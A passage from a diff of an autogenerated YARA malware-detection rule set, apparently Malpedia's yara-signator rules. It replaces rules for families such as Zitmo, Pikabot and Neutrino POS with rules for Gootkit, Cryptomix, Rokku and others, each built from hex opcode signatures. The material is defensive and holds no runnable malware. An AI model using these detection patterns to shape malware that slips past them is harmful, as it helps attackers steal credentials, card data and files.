84c0 75f9 2bce 3bd1 72e4 } - $sequence_14 = { 8bc7 c1f805 83e71f c1e706 8b0485d0a70110 } - $sequence_15 = { 4b 75da 8b35???????? 8b9d50fbffff } - $sequence_16 = { 8bce 83e11f c1e106 8b0485d0a70110 c644080401 56 e8???????? } - $sequence_17 = { 6a03 8802 42 8b048dd0a70110 4e 5f 6a0a } - $sequence_18 = { c1e106 899528e5ffff 53 8b1495d0a70110 } - $sequence_19 = { 84c0 75f9 2bce 741c 804415ec03 8d4dec 42 } - $sequence_20 = { c7465c00350110 83660800 33ff 47 897e14 } + $sequence_0 = { c744243000000000 488b842438010000 4889442428 89542420 448bcf 4533c0 33d2 } + $sequence_1 = { c744242000000000 eb0b 8b442420 83c002 89442420 8b842480000000 39442420 } + $sequence_2 = { 488b4c2458 ff15???????? 90 48837c247000 740c 488b4c2470 ff15???????? } + $sequence_3 = { 8b442458 89442428 488b442460 4889442420 448b4c2454 4c8b442470 33d2 } + $sequence_4 = { 8b0c24 486bc903 488b542408 0fb60c0a 81e1ff000000 0bc1 8b0c24 } + $sequence_5 = { ff15???????? ff15???????? 90 488b442440 488bc8 e8???????? 90 } + $sequence_6 = { 48638424b8000000 488b8c24b0000000 4803c8 488bc1 4889442430 c744244400000000 eb0b } + $sequence_7 = { 85c0 7479 488b542438 488d0d0ce50100 e8???????? 85c0 } + $sequence_8 = { ff15???????? 85c0 7505 e9???????? 41b810000000 488d9424b8000000 488b4c2448 } + $sequence_9 = { 8b442424 8b4c2460 2bc8 8bc1 3dffff0000 7e0a c7442420ffff0000 } condition: - 7 of them and filesize < 612352 + 7 of them and filesize < 458752 } -rule MALPEDIA_Win_Zitmo_Auto : FILE +rule MALPEDIA_Win_Vigilant_Cleaner_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "abf7d489-428c-576b-bf50-6d5176838935" + id = "b2070620-d9f7-5811-b76d-80baf53d08b2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zitmo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zitmo_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vigilant_cleaner" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vigilant_cleaner_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "af492533d6f46a2ad9ae3961738d77dc030c3e8231bbc6ee80a9ef330be7fcfa" + logic_hash = "7e320a52ca8b714b97d83c5af01f55040082927d0e7ca8657f050cb83fb7182e" score = 75 quality = 75 tags = "FILE" @@ -118017,32 +118030,32 @@ rule MALPEDIA_Win_Zitmo_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 23cb 8bd6 ff75a0 e8???????? } - $sequence_1 = { 55 8bec 81c434ffffff f7df 8bf0 49 } - $sequence_2 = { 8175b437340000 23f9 f7d1 03d7 f7d2 } - $sequence_3 = { 4b f7de c745bc36343335 03c3 f7da f7d1 } - $sequence_4 = { ffb584feffff 56 e8???????? ffb574ffffff } - $sequence_5 = { f7df 894da8 8955d0 ffb560feffff e8???????? c9 } - $sequence_6 = { f7d7 ff45b4 8bcf f7d6 03fa 8d9568ffffff } - $sequence_7 = { 81759437320000 3145b8 41 23c6 } - $sequence_8 = { 42 4e f7df 03d7 48 40 } - $sequence_9 = { 23cb 4a f7d0 8955c4 c9 c20c00 55 } + $sequence_0 = { 53 b868584d56 bb00000000 b90a000000 ba58560000 ed 5b } + $sequence_1 = { ed 5b 59 5a } + $sequence_2 = { b90a000000 ba58560000 ed 5b 59 } + $sequence_3 = { b868584d56 bb00000000 b90a000000 ba58560000 ed 5b 59 } + $sequence_4 = { bb00000000 b90a000000 ba58560000 ed 5b } + $sequence_5 = { b90a000000 ba58560000 ed 5b 59 5a } + $sequence_6 = { ba58560000 ed 5b 59 } + $sequence_7 = { ba58560000 ed 5b 59 5a } + $sequence_8 = { b868584d56 bb00000000 b90a000000 ba58560000 ed 5b } + $sequence_9 = { bb00000000 b90a000000 ba58560000 ed 5b 59 } condition: - 7 of them and filesize < 843776 + 7 of them and filesize < 1181696 } -rule MALPEDIA_Win_Diztakun_Auto : FILE +rule MALPEDIA_Win_Ntospy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "438551c7-604a-5ad2-954a-f3ff63f3cb31" + id = "8131d4ba-7ab9-5f25-bfe1-80fb81c429a4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diztakun" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.diztakun_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ntospy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ntospy_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "fc2cd18a0fc5853e5904a0ff7267816d8fa89853fb1e9c46e2210edfcdfdf3de" + logic_hash = "8fbd4c5ffc79f2d95a93b5deb7321b5b82d08f35463db086df64bd3e92a52647" score = 75 quality = 75 tags = "FILE" @@ -118056,32 +118069,32 @@ rule MALPEDIA_Win_Diztakun_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7f05 b8???????? e8???????? 8b4c2444 8b5c2428 8b6c2430 } - $sequence_1 = { 53 e8???????? cc 5a 58 } - $sequence_2 = { 7d0c 57 8bcb e8???????? 8b542418 8b0b 3bf5 } - $sequence_3 = { e9???????? 8b451c 83c0c7 56 83f80b 0f87c4000000 ff2485ffff4000 } - $sequence_4 = { 7574 8b4008 3bc6 746d 663930 7468 8b5808 } - $sequence_5 = { 50 8d84241c020000 64a300000000 8b84242c020000 6a00 6a00 8d4c2420 } - $sequence_6 = { ff15???????? 83c6f0 56 e8???????? 8b7c2418 83c010 8907 } - $sequence_7 = { 89642418 8bfc 50 e8???????? 83c010 83c404 8907 } - $sequence_8 = { 8b8254010000 83c404 8bcb ffd0 } - $sequence_9 = { 8bd9 895c2414 c744241000000000 e8???????? 33c9 85c0 0f95c1 } + $sequence_0 = { 5f c3 48897c2408 488d3dacf90000 } + $sequence_1 = { eb74 85c9 7858 3b15???????? 7350 488bca 4c8d05e5b40000 } + $sequence_2 = { 8bfa 4c8d0d5d740000 488bd9 488d1553740000 b916000000 4c8d053f740000 e8???????? } + $sequence_3 = { b808000000 486bc000 488d0deaad0000 48c7040102000000 b808000000 } + $sequence_4 = { 48890d???????? 488d0512f50000 488d0d3bf70000 488905???????? 48890d???????? e8???????? } + $sequence_5 = { 4c8d0578760000 488d15016d0000 e8???????? 4885c0 740f 488bcb } + $sequence_6 = { f20f1000 8b5808 e9???????? 488d05dfc70000 4a8b0ce8 } + $sequence_7 = { 488d0d4c710000 8364242800 41b803000000 4533c9 } + $sequence_8 = { c3 4883ec28 e8???????? 488bc8 488d1501040100 } + $sequence_9 = { 4533f6 4863ce 488d3d20f90000 488bc1 } condition: - 7 of them and filesize < 688128 + 7 of them and filesize < 208896 } -rule MALPEDIA_Win_Neutrino_Pos_Auto : FILE +rule MALPEDIA_Win_Rokku_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "76543c5c-a591-5d27-b69f-6b94d6c2d536" + id = "5e0917d2-b33a-54a8-a28e-92ca643aac23" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino_pos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neutrino_pos_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokku" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rokku_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "46f9a8dea2672570990106785d46980fe0790f0009b06412248bdd52d22cb9a1" + logic_hash = "5443b2e7560cc69ec04b0b3e247a5b78bf0ac816da2824e945b614a9052a8971" score = 75 quality = 75 tags = "FILE" @@ -118095,32 +118108,32 @@ rule MALPEDIA_Win_Neutrino_Pos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a61 6689955cffffff 5a 6a6e 5f 6a75 5e } - $sequence_1 = { 8b45d8 8d443001 50 53 e8???????? 8bd8 } - $sequence_2 = { 56 57 e8???????? 59 59 8d4df8 51 } - $sequence_3 = { 51 53 33ff 57 ffd0 85c0 7433 } - $sequence_4 = { ff75fc ffd0 8945fc 3bc7 0f8580000000 } - $sequence_5 = { 8945e8 83f8ff 0f84a4000000 3bc3 0f849c000000 687823b2ff 56 } - $sequence_6 = { 5a 6a61 6689955cffffff 5a 6a6e } - $sequence_7 = { 66898d56ffffff 66898d58ffffff 66898d5affffff 66898d5cffffff 66898d5effffff 66898d60ffffff 66898d62ffffff } - $sequence_8 = { 58 6a43 8bc8 66898d4effffff 59 6a65 66898d50ffffff } - $sequence_9 = { 6a6e 66898558ffffff 58 6a62 6689855affffff 58 } + $sequence_0 = { 0bd0 c1e90e 8b442418 0bf1 33442444 } + $sequence_1 = { c1fb1a 01442420 8b442430 1154241c f76c2438 01442420 8b44246c } + $sequence_2 = { 8d54240c e8???????? a3???????? 33c0 c744240c5d786f7a c74424106b4c6f72 66c74424146b00 } + $sequence_3 = { 03d0 33ca 8954242c 8b542428 c1c10c 03d1 } + $sequence_4 = { 8bf1 89742408 85f6 745d 53 8b1e 57 } + $sequence_5 = { 83f917 72f0 8b0d???????? 88542439 8d542422 e8???????? } + $sequence_6 = { 8d7d28 53 8d5328 8bcf e8???????? 8b742448 83c550 } + $sequence_7 = { 894a0c 8b4c2420 0fa4c11a 8b4c2410 c1e01a 2bc8 8b842488000000 } + $sequence_8 = { 7517 8b0e 68???????? e8???????? 33c9 84c0 0f45cf } + $sequence_9 = { 41 83f905 7305 8a55ee ebee } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 548864 } -rule MALPEDIA_Win_Fusiondrive_Auto : FILE +rule MALPEDIA_Win_Cryptomix_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ca3c35ba-09cb-56c8-bbe3-749cd9839eab" + id = "66a42334-0f35-544f-b73c-0df7b8e22035" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fusiondrive" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fusiondrive_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptomix" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptomix_auto.yar#L1-L177" license_url = "N/A" - logic_hash = "5e3043a82407e5acc0770d68c274349d0da53277a8b1605e4ac140328403150c" + logic_hash = "02f656068f4f76c12e869f1af5a2e63ec8e44cb4db7dffbbf055e2899960d03b" score = 75 quality = 75 tags = "FILE" @@ -118134,34 +118147,40 @@ rule MALPEDIA_Win_Fusiondrive_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33db 4c8d35e14effff 4885db 750d 488bc7 498784f660de0100 eb1e } - $sequence_1 = { 4883ec28 488d0d75c60100 e8???????? 488d0da9f50000 4883c428 e9???????? } - $sequence_2 = { 660f6f05???????? f30f7f442470 66c745806557 c6458200 488d542470 488bc8 ff15???????? } - $sequence_3 = { 488dac2450feffff 4881ecb0020000 488b05???????? 4833c4 488985a0010000 4032ff } - $sequence_4 = { 4883c907 33ed 483bcf 7606 } - $sequence_5 = { 41894018 0fb60a 83e10f 4a0fbe8409a8150100 428a8c09b8150100 482bd0 8b42fc } - $sequence_6 = { e8???????? 488d0da9f50000 4883c428 e9???????? 4053 } - $sequence_7 = { 488d5202 83f902 72ea c605????????00 } - $sequence_8 = { 776a e8???????? 85c0 7428 85db 7524 488d0d92a30100 } - $sequence_9 = { 4c8d05e3e90000 83e23f 488bcf 48c1f906 488d14d2 498b0cc8 c644d13800 } + $sequence_0 = { 68???????? ffd0 683e8d61be 6a06 } + $sequence_1 = { ffb580efffff ff15???????? 56 68???????? ff15???????? 68???????? 68???????? } + $sequence_2 = { 85c0 0f87e0000000 68???????? 56 e8???????? 59 59 } + $sequence_3 = { 8be5 5d c3 3dc0ede0b7 } + $sequence_4 = { ffb5e0fbffff ff15???????? ff85e8fbffff 8d85e4fbffff 50 68???????? } + $sequence_5 = { 59 ff742408 ff742408 ffd0 c3 68c142487b 6a01 } + $sequence_6 = { 8b30 57 8b7dfc 68dee70218 6a05 e8???????? } + $sequence_7 = { 68???????? 8d85e8fbffff 50 ffd7 8d85c4f9ffff 50 8d85e8fbffff } + $sequence_8 = { 8bf9 e8???????? 83c40c 8d85e0fbffff 50 8d85f4fdffff 50 } + $sequence_9 = { c785e4fbffff04010000 ff15???????? 8d85e4fbffff 50 56 } + $sequence_10 = { 7571 b801000000 8b4dfc 33cd e8???????? 8be5 } + $sequence_11 = { 55 8bec 83ec10 57 33ff 6822ded78a } + $sequence_12 = { 6802f1f808 6a01 e8???????? 83c430 56 6880000000 } + $sequence_13 = { 33c0 8d95f4fdffff 6685c9 0f8465010000 0fb7c9 c1c007 } + $sequence_14 = { ff75f4 6a40 e8???????? 8bd8 } + $sequence_15 = { 59 8d4dfc 51 683f020f00 56 bb???????? 53 } condition: - 7 of them and filesize < 290816 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Pikabot_Auto : FILE +rule MALPEDIA_Win_Xenarmor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4ac687d3-814a-53f0-bdd6-30b0d584e28f" + id = "55610d93-1ce0-5ea9-b26e-9c8f1380484b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pikabot_auto.yar#L1-L281" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xenarmor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xenarmor_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "3b0362ab404ac85076078e4d22f7ab9dbd258b909dc0b4272cd29c1c8ac6cad3" + logic_hash = "10c19019c6e353e0437445c705fdac1c2ec6dd84cb0e3e79b7bc1280d736134b" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -118173,55 +118192,34 @@ rule MALPEDIA_Win_Pikabot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ebd3 8b4508 c9 c3 55 8bec } - $sequence_1 = { 83ec0c 8b4508 8945fc 8b450c 8945f8 8b4510 } - $sequence_2 = { 837df400 741a 8b45fc 8b4df8 } - $sequence_3 = { 40 8945f8 ebd3 8b4508 } - $sequence_4 = { 8945f8 8b4510 8945f4 8b4510 } - $sequence_5 = { 8b4510 48 894510 837df400 741a } - $sequence_6 = { 8b4df8 8a09 8808 8b45fc 40 8945fc 8b45f8 } - $sequence_7 = { 7ce9 8b4214 2b420c 5f } - $sequence_8 = { 8a1c08 8d4320 0fb6c8 8d53bf 80fa19 0fb6c3 0f47c8 } - $sequence_9 = { 56 8bf1 85c9 7419 85d2 7415 } - $sequence_10 = { 85c9 7436 85ff 7432 } - $sequence_11 = { 0fabd0 83fa20 6a08 0f43c8 } - $sequence_12 = { e8???????? 8bd0 e8???????? 3b45fc } - $sequence_13 = { 41 e8???????? ffd0 c9 c3 } - $sequence_14 = { 6a08 0f43c8 33c1 83fa40 } - $sequence_15 = { 3bc7 72d5 5b 5f 8bc6 } - $sequence_16 = { 83ec10 53 56 8b35???????? b84d5a0000 57 8955fc } - $sequence_17 = { 8a040a 84c0 75f6 c60100 8bc6 5e c3 } - $sequence_18 = { 0fb6d1 03c2 0fb6c0 8945f8 } - $sequence_19 = { 81f900010000 72f0 8bf0 33d2 } - $sequence_20 = { 0345f8 03c8 0fb6c9 894df8 } - $sequence_21 = { 40 3d00010000 72f1 8b35???????? 8bf9 } - $sequence_22 = { 0345f8 03c8 0fb6c1 8945f8 } - $sequence_23 = { 8b01 0d20202020 3d6e74646c 750f } - $sequence_24 = { a3???????? 8b45d4 890424 a1???????? ff5058 56 } - $sequence_25 = { 89442408 31c0 89442404 e8???????? 8b45e4 } - $sequence_26 = { 890424 e8???????? 8b8514f9ffff 89442404 a1???????? } - $sequence_27 = { 890424 e8???????? 8b8560f9ffff 89442404 } - $sequence_28 = { 890424 e8???????? 89c2 a1???????? 895048 } - $sequence_29 = { a1???????? 8b00 890424 e8???????? a1???????? 8b9060010000 89542404 } - $sequence_30 = { 890424 a1???????? ff9090000000 83ec10 } + $sequence_0 = { f7f9 8b8d64ffffff 6640 66034616 8bd0 e8???????? f7462440010000 } + $sequence_1 = { e8???????? 8bf0 83c418 85f6 0f84ed000000 8d8584e5ffff 8d8dfcd1ffff } + $sequence_2 = { e8???????? 50 8d4d08 c645fc03 e8???????? c645fc00 8bc7 } + $sequence_3 = { e9???????? ff7304 8b53bc ff73e0 8b4d0c e8???????? 83c408 } + $sequence_4 = { ff742428 ba56000000 ff742428 e8???????? 83c40c eb33 8b542420 } + $sequence_5 = { 8bf0 e8???????? 8b5df0 8bf8 57 56 ba35000000 } + $sequence_6 = { 8d8ff8000000 e8???????? 895de8 c745e4d4ee6800 ff750c 8d4de4 895dfc } + $sequence_7 = { f6400408 0f8589000000 83783000 8b44246c 741c 85c0 7518 } + $sequence_8 = { ba74000000 e8???????? 83c40c eb37 8d4201 89416c 8d0c92 } + $sequence_9 = { 8bce e8???????? 685e010000 8bce e8???????? 8b86a8b30500 038690b30500 } condition: - 7 of them and filesize < 1717248 + 7 of them and filesize < 10894336 } -rule MALPEDIA_Win_Casper_Auto : FILE +rule MALPEDIA_Win_Gootkit_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a2a62877-f95a-5635-83dc-ecf2c1bcc8c6" + id = "cc674f83-d3cc-5cc6-8f48-f7ded72789f2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.casper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.casper_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gootkit_auto.yar#L1-L334" license_url = "N/A" - logic_hash = "51f38b9a318c7cdad54224577e1ce438c8182ba77e67e0978d20f3d358b38e98" + logic_hash = "e886088177ff2cbe60c39328c9402db705beff1123d5a11d85e3c6ea020086bf" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -118233,32 +118231,59 @@ rule MALPEDIA_Win_Casper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 59 8d4df8 51 6a01 50 6801000080 } - $sequence_1 = { 88471c 8a4626 88471d 8b4624 59 c1e808 59 } - $sequence_2 = { 83c40c ff7010 8d8560fdffff 68???????? 50 } - $sequence_3 = { 832600 83661400 894608 c7461000100000 e8???????? 8945fc a1???????? } - $sequence_4 = { 8d8500ffffff 50 ff7510 e8???????? 83c410 8d8500ffffff 50 } - $sequence_5 = { 897808 eb02 33c0 8930 897804 8b4b10 } - $sequence_6 = { 5e 40 5b c9 c21000 8b8118010000 c3 } - $sequence_7 = { 8a01 84c0 75f1 8b4d08 52 ff7510 } - $sequence_8 = { 81e200008000 52 57 57 57 ff75a8 ff34850ca14200 } - $sequence_9 = { 2bc6 03450c 50 ff7508 e8???????? } + $sequence_0 = { 41 3bca 72f2 56 6a00 ff15???????? } + $sequence_1 = { 3bca 72f2 335df0 6a10 58 } + $sequence_2 = { 33c0 85c9 0f444508 5d c20400 } + $sequence_3 = { 50 56 ff15???????? 56 ffd7 8bd0 33ff } + $sequence_4 = { 59 85c0 740c 8b30 33ff 0375dc } + $sequence_5 = { 8b840888000000 eb04 8b440878 03c1 c3 } + $sequence_6 = { e8???????? 8b5dfc ff75f4 6a00 ff15???????? } + $sequence_7 = { 894df4 50 ff75fc ffd7 85c0 744b } + $sequence_8 = { f3aa 68???????? ff15???????? 50 } + $sequence_9 = { 8b7df4 32c0 8b4de4 f3aa } + $sequence_10 = { 50 68???????? ff15???????? 85c0 7505 e8???????? } + $sequence_11 = { 50 e8???????? 83c40c 68fd000000 } + $sequence_12 = { 50 8b4508 8b00 99 } + $sequence_13 = { c705????????01000000 c705????????02000000 8be5 5d } + $sequence_14 = { 833d????????00 750a 6a32 ff15???????? } + $sequence_15 = { e8???????? 6a0c 6a08 ff15???????? 50 ff15???????? } + $sequence_16 = { 6808020000 6a00 ff15???????? 50 } + $sequence_17 = { 6a02 ff15???????? 6888130000 ff15???????? } + $sequence_18 = { e8???????? 8d45fc 50 6a01 6a01 6a00 6800000002 } + $sequence_19 = { e8???????? 85c0 750c c705????????03000000 } + $sequence_20 = { 8b4508 8b00 99 52 50 6a00 } + $sequence_21 = { 53 53 53 8901 } + $sequence_22 = { 0f114f20 0f104840 0f114730 0f104050 0f114f40 0f104860 0f114750 } + $sequence_23 = { 754c 8b5e02 8d45e4 6a1c 50 } + $sequence_24 = { 03c1 3bd8 7323 8b33 } + $sequence_25 = { 85c0 56 0f45ca 894dfc ff15???????? } + $sequence_26 = { 8b4c2434 ff15???????? 0fb74c2432 ff15???????? } + $sequence_27 = { 0f104010 0f110f 0f104820 0f114710 0f104030 0f114f20 0f104840 } + $sequence_28 = { 8b4070 894770 be01000000 ff15???????? } + $sequence_29 = { 0f104060 0f114760 8b4070 894770 } + $sequence_30 = { 7510 8d4864 ff15???????? ffc3 83fb0a } + $sequence_31 = { c602e9 2bc8 894a01 83c205 8b4610 33c9 } + $sequence_32 = { 0f104860 0f114750 0f114f60 b801000000 } + $sequence_33 = { 8b4de8 b84d5a0000 663901 754e 8b513c 03d1 813a50450000 } + $sequence_34 = { ffc3 83fb0a 7cd5 33c0 } + $sequence_35 = { ffd3 8b8de4fdffff 8b36 85f6 75a2 8b3f 85ff } + $sequence_36 = { 8b7df4 85ff 7414 57 8bce e8???????? } condition: - 7 of them and filesize < 434176 + 7 of them and filesize < 516096 } -rule MALPEDIA_Win_Bamital_Auto : FILE +rule MALPEDIA_Win_Cinobi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e219e6ea-4608-5a74-87dd-c6cc7daca55c" + id = "21772936-199b-55b9-8c88-84909fbe932b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bamital" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bamital_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cinobi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cinobi_auto.yar#L1-L163" license_url = "N/A" - logic_hash = "24d30014c19935766f45a136deb9c4126e6e7e91127fb6207f37108ee605d496" + logic_hash = "3b7b598c2d1d5a6445b3767b26d122931b2d9423a26b8573ddc77c7b26c5617b" score = 75 quality = 75 tags = "FILE" @@ -118272,32 +118297,37 @@ rule MALPEDIA_Win_Bamital_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 803820 7516 83c101 83f901 7504 8bd0 } - $sequence_1 = { 2945f8 ff75f8 e8???????? 5e ff75f8 56 } - $sequence_2 = { 33c0 5e 5f 5b 5a 59 } - $sequence_3 = { 52 e8???????? 837dd800 7505 e9???????? } - $sequence_4 = { b910000000 f3ab eb0c 8bcb f3a4 011d???????? } - $sequence_5 = { 8b55fc 8945fc 0bd2 7406 52 e8???????? } - $sequence_6 = { 5b 5a 59 c9 c21000 33c0 5e } - $sequence_7 = { 83c024 6a00 50 e8???????? } - $sequence_8 = { 75f1 8d0411 33c2 5f 5e c9 } - $sequence_9 = { e8???????? 83c708 57 ff7004 e8???????? 83c708 } + $sequence_0 = { c9 c3 55 8bec 51 e8???????? 58 } + $sequence_1 = { 660fbe404b 668985a0fdffff 8b45f8 660fbe4005 668985a2fdffff 8b45f8 660fbe4005 } + $sequence_2 = { 55 8bec 83ec44 53 e8???????? } + $sequence_3 = { 8845ce c645cf00 8b45c0 8a4031 } + $sequence_4 = { 6805100000 56 8b75f0 56 ff93f7000000 } + $sequence_5 = { 8365dc00 8945e0 8d45fc 8945e4 8d45f4 } + $sequence_6 = { 50 51 ff93eb000000 8b4df4 e8???????? 8bf8 } + $sequence_7 = { 57 8b7dd0 894dfc 3bcb 7504 33c0 eb2c } + $sequence_8 = { 8a4d0c 8808 ebe5 c9 c3 } + $sequence_9 = { 8845fb 8d45a4 50 ff7508 e8???????? 59 } + $sequence_10 = { 8b45f4 ff90db000000 8945ec 837decff 7513 } + $sequence_11 = { 8b4510 8945ec 8b45e4 8b4dfc 8b0481 034508 } + $sequence_12 = { 837de000 0f85ac000000 6a02 8d87c0120000 50 } + $sequence_13 = { 8a5832 885dd1 8a5834 885dd2 } + $sequence_14 = { 837de8ff 7507 32c0 e9???????? 6a00 ff75e8 8b45f4 } condition: - 7 of them and filesize < 90112 + 7 of them and filesize < 32768 } -rule MALPEDIA_Win_October_Seventh_Auto : FILE +rule MALPEDIA_Win_Rambo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c923fdd4-c954-5dde-bdcd-f3b77326ae47" + id = "339a4d7e-9b02-5b2f-918a-fe5abee15d73" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.october_seventh" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.october_seventh_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rambo_auto.yar#L1-L180" license_url = "N/A" - logic_hash = "552e719a27839e5d3f04d1c3619c82bb79d38c4fb51bdf6c68df34e2e7210a4c" + logic_hash = "5e0ac76c4c54838a65e8020ef5ae20ae2814aaf559d8acf1871f9f9e1fb0aa1a" score = 75 quality = 75 tags = "FILE" @@ -118311,32 +118341,38 @@ rule MALPEDIA_Win_October_Seventh_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 81784870034200 7409 ff7048 e8???????? 59 8b45fc } - $sequence_1 = { 80ba????????3f 76f3 2bcf 49 8d4103 99 } - $sequence_2 = { 50 8b8598f8ffff 0fb7048544cb4100 8d048540c24100 } - $sequence_3 = { ff35???????? 89442410 e8???????? 8bf0 83c408 } - $sequence_4 = { 8b0cbdd08fd500 c644112900 837dfc00 7507 b800800000 eb1e 84db } - $sequence_5 = { 8b45d4 0345b4 48 e9???????? 8b0c85d08fd500 } - $sequence_6 = { 33c0 5b 8be5 5d c3 8b4018 33f6 } - $sequence_7 = { 68???????? a3???????? ffd0 ba???????? b9???????? 8bf0 } - $sequence_8 = { 7470 eb17 be???????? 68???????? e8???????? 83c404 } - $sequence_9 = { 46 3b75f0 72c5 eb0f 8b45f4 8b7dfc 0fb70470 } + $sequence_0 = { 8d85f8faffff 6a01 50 ff15???????? 80a43df8faffff00 56 } + $sequence_1 = { 8065fe00 8d45fc 50 8d85f8feffff 50 c645fc72 } + $sequence_2 = { ff15???????? 83c428 6a32 ff15???????? 8d85f8faffff 50 } + $sequence_3 = { 83c410 85f6 745e 57 6a02 } + $sequence_4 = { 8d85ecfdffff 50 8d85f0feffff 50 ff15???????? 83c41c } + $sequence_5 = { 50 68???????? e8???????? 59 59 6a01 58 } + $sequence_6 = { 81ec14020000 8d85f0feffff 56 50 6804010000 } + $sequence_7 = { 59 8d85fcfeffff 59 50 ff15???????? 33c0 } + $sequence_8 = { 0f85ba000000 8d4c241c c68424000400000f e8???????? 8d8c249c000000 c68424000400000b e8???????? } + $sequence_9 = { 33c0 50 8d4c241c c684240404000002 } + $sequence_10 = { 03dd 33c3 8d1c31 33c3 81c14786c861 2bf8 4a } + $sequence_11 = { 57 b940000000 8d7c240d 8844240c f3ab 66ab } + $sequence_12 = { 56 56 8d4c2424 e8???????? 50 8d4c246c e8???????? } + $sequence_13 = { c684240004000001 e8???????? c684240004000000 8d4c2464 e8???????? 8d4c242c c7842400040000ffffffff } + $sequence_14 = { 33ed 6804010000 6804010000 8d4c2434 89ac2408040000 e8???????? } + $sequence_15 = { 8d4c2414 6a20 51 8d4c2424 e8???????? 50 8d4c242c } condition: - 7 of them and filesize < 19859456 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Nemty_Auto : FILE +rule MALPEDIA_Win_Bart_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - 